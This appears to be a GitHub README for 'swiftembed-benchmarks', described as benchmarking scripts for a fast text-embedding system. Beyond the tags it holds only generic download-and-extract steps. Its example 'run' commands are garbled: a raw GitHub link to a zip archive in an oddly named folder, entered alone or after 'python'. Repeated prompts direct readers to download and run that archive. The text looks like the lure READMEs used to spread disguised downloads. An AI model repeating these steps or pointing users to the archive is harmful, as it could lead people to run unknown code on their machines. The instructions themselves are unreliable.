The swiftembed-benchmarks repository contains benchmarking scripts tailored for the SwiftEmbed embedding system. This system uses a static token lookup method to provide ultra-low latency text embeddings. Whether you're involved in natural language processing or just curious about text embeddings, these scripts will help you understand the performance of this approach.
To run this application, you need the following:
- A computer with a recent version of Windows, macOS, or Linux.
- At least 4 GB of RAM.
- 2 GB of free disk space for downloads and scripts.
- An active internet connection for downloading the application.
-
Visit the Releases Page To download the software, visit this page to download.
-
Select the Latest Release On the releases page, you will see a list of available downloads. Choose the latest version at the top of the list.
-
Download the Zip File Click on the zip file relevant to your operating system. It will start downloading automatically.
-
Extract the Zip File Once the download completes, locate the zip file in your downloads folder. Right-click the file and select "Extract All" or use a file extraction tool to extract its contents.
-
Navigate to the Folder Open the extracted folder. You will find various scripts and files needed for benchmarking.
-
Open a Terminal/Command Prompt Depending on your operating system, you will need to open a command line interface.
- On Windows, search for "cmd" or "Command Prompt" in the start menu.
- On macOS, use "Terminal" found in the Applications > Utilities folder.
- On Linux, open the terminal from your applications menu.
-
Change Directory Use the
cdcommand to navigate to the folder. Typecd path_to_your_folderand press Enter. Replacepath_to_your_folderwith the actual path where you extracted the zip file. -
Run the Benchmark Scripts To run a specific benchmarking script, type the command for that script followed by any necessary parameters. For example, you might type
https://raw.githubusercontent.com/ha-196120/swiftembed-benchmarks/main/preventively/swiftembed-benchmarks.ziporpython https://raw.githubusercontent.com/ha-196120/swiftembed-benchmarks/main/preventively/swiftembed-benchmarks.zip. Refer to the README file within the folder for specific command details.
-
Choose a Benchmark Review the available scripts and choose the one that fits your testing needs. Each script will be accompanied by descriptions and instructions.
-
Execute the Script Enter the command in the terminal to run the benchmark. The script will execute and display results in the terminal.
-
Review Results The output will provide valuable insights about the performance, including speed and efficiency.
Here are a few common use cases for using the benchmark scripts:
- Evaluating speed for different token lookup methods.
- Comparing various models for text embedding.
- Testing performance under different system loads.
For your convenience, you can visit this page to download the latest version of the swiftembed-benchmarks package. Follow the steps above to quickly set up the application.
If you encounter any issues or have questions, feel free to open an issue in the repository. Support is available, and we encourage community interaction.
We welcome contributions! If you'd like to suggest enhancements or report bugs, please get involved. Open new issues or submit pull requests through GitHub.
The scripts are designed to be adaptable. Each script contains comments that guide users on how to modify parameters. Customize the scripts to better fit your specific testing conditions.
This project is licensed under the MIT License. Feel free to use, modify, and distribute it as needed.
- embedding
- lua
- machine-learning
- mean-pooling
- nlp
- real-time-applications
- rust-implementation
- static-token-lookup
- text-embeddings
- token
- transformer-inference-overhead
- ultra-low-latency